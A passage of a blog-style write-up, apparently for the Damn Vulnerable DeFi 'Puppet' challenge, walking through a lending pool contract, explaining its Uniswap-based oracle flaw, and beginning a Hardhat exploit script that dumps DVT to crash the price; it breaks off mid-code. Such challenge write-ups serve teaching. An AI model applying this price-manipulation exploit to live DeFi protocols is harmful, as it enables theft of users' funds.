class=\"token function\">DamnValuableToken</span><span class=\"token punctuation\">(</span>tokenAddress<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      uniswapPair <span class=\"token operator\">=</span> uniswapPairAddress<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token comment\">// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH</span>\n  <span class=\"token keyword\">function</span> <span class=\"token function\">borrow</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token keyword\">payable</span> nonReentrant <span class=\"token punctuation\">{</span>\n      <span class=\"token builtin\">uint256</span> depositRequired <span class=\"token operator\">=</span> <span class=\"token function\">calculateDepositRequired</span><span class=\"token punctuation\">(</span>borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      \n      <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>value <span class=\"token operator\">>=</span> depositRequired<span class=\"token punctuation\">,</span> <span class=\"token string\">\"Not depositing enough collateral\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      \n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>value <span class=\"token operator\">></span> depositRequired<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token keyword\">payable</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">sendValue</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>value <span class=\"token operator\">-</span> depositRequired<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n\n      deposits<span class=\"token punctuation\">[</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> deposits<span class=\"token punctuation\">[</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> depositRequired<span class=\"token punctuation\">;</span>\n\n      <span class=\"token comment\">// Fails if the pool doesn't have enough tokens in liquidity</span>\n      <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Transfer failed\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n      <span class=\"token keyword\">emit</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> depositRequired<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">function</span> <span class=\"token function\">calculateDepositRequired</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> amount <span class=\"token operator\">*</span> <span class=\"token function\">_computeOraclePrice</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">2</span> <span class=\"token operator\">/</span> <span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">function</span> <span class=\"token function\">_computeOraclePrice</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">private</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// calculates the price of the token in wei according to Uniswap pair</span>\n      <span class=\"token keyword\">return</span> uniswapPair<span class=\"token punctuation\">.</span>balance <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span>uniswapPair<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n<span class=\"token punctuation\">}</span></code></pre></div>\n<h3 id=\"state-variable--event\" style=\"position:relative;\"><a href=\"#state-variable--event\" aria-label=\"state variable  event permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>State Variable &#x26;&#x26; Event</h3>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">using</span> <span class=\"token class-name\">Address</span> <span class=\"token keyword\">for</span> <span class=\"token builtin\">address</span> <span class=\"token keyword\">payable</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">mapping</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token operator\">=></span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> deposits<span class=\"token punctuation\">;</span>\n<span class=\"token builtin\">address</span> <span class=\"token keyword\">public</span> immutable uniswapPair<span class=\"token punctuation\">;</span>\nDamnValuableToken <span class=\"token keyword\">public</span> immutable token<span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">event</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> <span class=\"token keyword\">indexed</span> account<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> depositRequired<span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Manage liquidity pool deposits for each user based on the <code class=\"language-text\">deposits</code> mapping structure</li>\n<li>Dependency contract instance assignment, variable declaration and constantization work</li>\n<li>When the <code class=\"language-text\">Borrowed</code> function is called, the <code class=\"language-text\">address indexed account, uint256 depositRequired, uint256 borrowAmount</code> data event query progress work performed in the internal logic</li>\n</ul>\n<h3 id=\"functions\" style=\"position:relative;\"><a href=\"#functions\" aria-label=\"functions permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Functions</h3>\n<p><strong>constructor</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">constructor</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span> tokenAddress<span class=\"token punctuation\">,</span> <span class=\"token builtin\">address</span> uniswapPairAddress<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    token <span class=\"token operator\">=</span> <span class=\"token function\">DamnValuableToken</span><span class=\"token punctuation\">(</span>tokenAddress<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    uniswapPair <span class=\"token operator\">=</span> uniswapPairAddress<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>Constructor instance operation ERC20 token contract and uniswap V1 protocol processing</li>\n</ul>\n<p><strong>_computeOraclePrice</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">_computeOraclePrice</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">private</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> uniswapPair<span class=\"token punctuation\">.</span>balance <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span>uniswapPair<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>Calculate the token price in wei according to the Uniswap Pair.</li>\n<li>Calculate DVT-ETH token price with Uniswap V1 Exchange operation.</li>\n</ul>\n<p><strong>calculateDepositRequired</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">calculateDepositRequired</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> amount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token keyword\">view</span> <span class=\"token keyword\">returns</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> amount <span class=\"token operator\">*</span> <span class=\"token function\">_computeOraclePrice</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">2</span> <span class=\"token operator\">/</span> <span class=\"token number\">10</span> <span class=\"token operator\">**</span> <span class=\"token number\">18</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>Introduce this formula to divide the quarter for the deposit request to calculate the liquidity pool.</li>\n<li>Depending on the <code class=\"language-text\">amoun</code> factor, the value changes, and you can see that the Oracle price and double the value are unconditionally calculated.</li>\n</ul>\n<p><strong>borrow</strong></p>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">function</span> <span class=\"token function\">borrow</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">uint256</span> borrowAmount<span class=\"token punctuation\">)</span> <span class=\"token keyword\">public</span> <span class=\"token keyword\">payable</span> nonReentrant <span class=\"token punctuation\">{</span>\n    <span class=\"token builtin\">uint256</span> depositRequired <span class=\"token operator\">=</span> <span class=\"token function\">calculateDepositRequired</span><span class=\"token punctuation\">(</span>borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>value <span class=\"token operator\">>=</span> depositRequired<span class=\"token punctuation\">,</span> <span class=\"token string\">\"Not depositing enough collateral\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>value <span class=\"token operator\">></span> depositRequired<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">payable</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">sendValue</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>value <span class=\"token operator\">-</span> depositRequired<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    deposits<span class=\"token punctuation\">[</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> deposits<span class=\"token punctuation\">[</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> depositRequired<span class=\"token punctuation\">;</span>\n\n    \n    <span class=\"token keyword\">require</span><span class=\"token punctuation\">(</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">transfer</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Transfer failed\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">emit</span> <span class=\"token function\">Borrowed</span><span class=\"token punctuation\">(</span>msg<span class=\"token punctuation\">.</span>sender<span class=\"token punctuation\">,</span> depositRequired<span class=\"token punctuation\">,</span> borrowAmount<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>You can borrow the ‘borrowAmount’ of the token by first depositing double its value in ETH.</li>\n</ul>\n<p>✅ If the pool does not have enough liquidity tokens, it will fail.</p>\n<ul>\n<li>If the balance of the user who made the current contract call is greater through the <code class=\"language-text\">depositRequired</code> check expression, the <code class=\"language-text\">msg.value - depositRequired</code> value is transferred to the <code class=\"language-text\">msg.sender</code>. Based on this, it can be inferred that the value of the user’s transaction Ether is much more than the value to be borrowed, so it is an operation to return the remaining value.</li>\n<li>Update the deposits mapping data structure by assigning the calculated <code class=\"language-text\">depositRequired</code> value at this time.</li>\n</ul>\n<p>✅ After sending the value as much as <code class=\"language-text\">borrowAmount</code> to <code class=\"language-text\">msg.sender</code>, event processing proceeds</p>\n<h1 id=\"vulnerability\" style=\"position:relative;\"><a href=\"#vulnerability\" aria-label=\"vulnerability permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Vulnerability</h1>\n<ul>\n<li>In <code class=\"language-text\">computeOraclePrice()</code>, the pool calculates the ETH-DVT ratio and checks the current exchange rate value. However, when performing the actual oracle price calculation, it can be seen that it is possible to purchase ETH in bulk from the pool to significantly lower the ratio of the loanable DVT token price.</li>\n<li>The attacker’s goal is to steal all DVT tokens from the pool, and to borrow 100,000 DVT, he has to deposit double ETH as collateral under normal circumstances, and the attacker only has 25 ETH.</li>\n<li>If you need to return 1 from <code class=\"language-text\">_computeOraclePrice</code> when you deposit double ETH, this is only applicable when <code class=\"language-text\">uniswapPair.balance</code> and <code class=\"language-text\">token.balanceOf(uniswapPair)</code> are 1:1. By default, the current pool has 10 ETH and 10 DVT, so it unconditionally returns 1</li>\n<li>However, attackers can manipulate the Oracle Price calculation using flaws. If the exchange’s ETH Balance (uniswapPair.balance) is 0, the result of the calculation of <code class=\"language-text\">uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair)</code> will be 0 or a very small number.</li>\n<li>In order to carry out this attack, the attacker must lower the ETH balance of Exchange Balance to a small number by exchanging his DVT token for ETH.</li>\n<li>In the state of converging to 0, all DVT tokens in the pool can be acquired based on the <code class=\"language-text\">borrow</code> function.</li>\n</ul>\n<h1 id=\"solve\" style=\"position:relative;\"><a href=\"#solve\" aria-label=\"solve permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Solve</h1>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token function\">it</span><span class=\"token punctuation\">(</span><span class=\"token string\">'Exploit'</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> <span class=\"token function-variable function\">fromWei</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>x<span class=\"token punctuation\">)</span> <span class=\"token operator\">=></span> web3<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>x<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">const</span> <span class=\"token function-variable function\">_curInfo</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">async</span> <span class=\"token punctuation\">(</span>status<span class=\"token punctuation\">)</span> <span class=\"token operator\">=></span> <span class=\"token punctuation\">{</span>\n      \n\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\\n\"</span> <span class=\"token operator\">+</span> status <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] Oracle Calc Deposit Required\"</span><span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">let</span> _oracle <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">calculateDepositRequired</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"1\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>_oracle<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] Attacker ETH-DVT Pair Balance\"</span><span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">let</span> attacker_eth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> attacker_dtv <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>attacker_eth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>    <span class=\"token comment\">// attacker ETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>attacker_dtv<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// attacker DVT</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] LendingPool ETH-DVT Pair Balance\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> pool_eth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> pool_dtv <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>pool_eth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>    <span class=\"token comment\">// lendingPool ETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>pool_dtv<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// lendingPool DVT</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] Uniswap Exchange ETH-DVT Pair Balance\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> exchange_eth <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBalance</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">let</span> exchange_dtv <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">balanceOf</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>exchange_eth<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>    <span class=\"token comment\">// exchange ETH</span>\n      <span class=\"token builtin\">console</span><span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token function\">fromWei</span><span class=\"token punctuation\">(</span>exchange_dtv<span class=\"token punctuation\">.</span>_hex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// exchange DVT</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">/** CODE YOUR EXPLOIT HERE */</span>\n  <span class=\"token function\">_curInfo</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Initial\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>token<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">approve</span><span class=\"token punctuation\">(</span>\n      <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span>address<span class=\"token punctuation\">,</span>\n      ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"990\"</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>uniswapExchange<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">tokenToEthTransferInput</span><span class=\"token punctuation\">(</span>\n      ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"990\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token comment\">// tokens_sold</span>\n      ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"1\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>   <span class=\"token comment\">// min_eth</span>\n      <span class=\"token punctuation\">(</span><span class=\"token keyword\">await</span> ethers<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">.</span><span class=\"token function\">getBlock</span><span class=\"token punctuation\">(</span><span class=\"token string\">'latest'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>timestamp <span class=\"token operator\">*</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> attacker<span class=\"token punctuation\">.</span>address  <span class=\"token comment\">// deadline</span>\n  <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">let</span> _oraclePrice <span class=\"token operator\">=</span> ethers<span class=\"token punctuation\">.</span>BigNumber<span class=\"token punctuation\">.</span><span class=\"token function\">from</span><span class=\"token punctuation\">(</span>\n      <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">calculateDepositRequired</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"1\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">let</span> muOraclePrice <span class=\"token operator\">=</span> _oraclePrice<span class=\"token punctuation\">.</span><span class=\"token function\">mul</span><span class=\"token punctuation\">(</span><span 